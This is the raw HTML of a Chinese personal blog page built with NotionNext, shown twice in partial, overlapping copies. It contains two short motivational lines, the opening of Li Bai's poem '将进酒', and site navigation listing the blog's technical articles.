class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b33f1eb242c746e08f18cc90501a4613" data-id="b33f1eb242c746e08f18cc90501a4613"><span><div id="b33f1eb242c746e08f18cc90501a4613" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b33f1eb242c746e08f18cc90501a4613" title="起始"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">起始</span></span></h2><blockquote class="notion-quote notion-block-efb3a44eb8e84a98a9d639b6ca1c4ac4"><div>慢也好,步子小也好,是在往前走就好</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-f8c38272129a49f291f3150812588f32"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2d2f576f7b744e78b23d2383f0c2bc91" data-id="2d2f576f7b744e78b23d2383f0c2bc91"><span><div id="2d2f576f7b744e78b23d2383f0c2bc91" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2d2f576f7b744e78b23d2383f0c2bc91" title="将进酒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>将进酒</b></span></span></h2><div class="notion-text notion-block-53ad423b75f645859139ffab1180f2e0">李白〔唐代〕</div><div class="notion-text notion-block-a1bbce14f046495a8d325fb357639122">君不见黄河之水天上来,奔流到海不复回。
+<!DOCTYPE html><html lang="zh-CN"><head><title>开始 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,文字,推荐"/><meta name="description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="开始 | Both Savage"/><meta property="og:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:url" content="https://bothsavage.github.io//article/begin"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta name="twitter:title" content="开始 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="知"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">开始</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-54d97ca633d540e68c8b0ad4a4e9a0bf"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b33f1eb242c746e08f18cc90501a4613" data-id="b33f1eb242c746e08f18cc90501a4613"><span><div id="b33f1eb242c746e08f18cc90501a4613" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b33f1eb242c746e08f18cc90501a4613" title="起始"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">起始</span></span></h2><blockquote class="notion-quote notion-block-efb3a44eb8e84a98a9d639b6ca1c4ac4"><div>慢也好,步子小也好,是在往前走就好</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-f8c38272129a49f291f3150812588f32"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2d2f576f7b744e78b23d2383f0c2bc91" data-id="2d2f576f7b744e78b23d2383f0c2bc91"><span><div id="2d2f576f7b744e78b23d2383f0c2bc91" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2d2f576f7b744e78b23d2383f0c2bc91" title="将进酒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 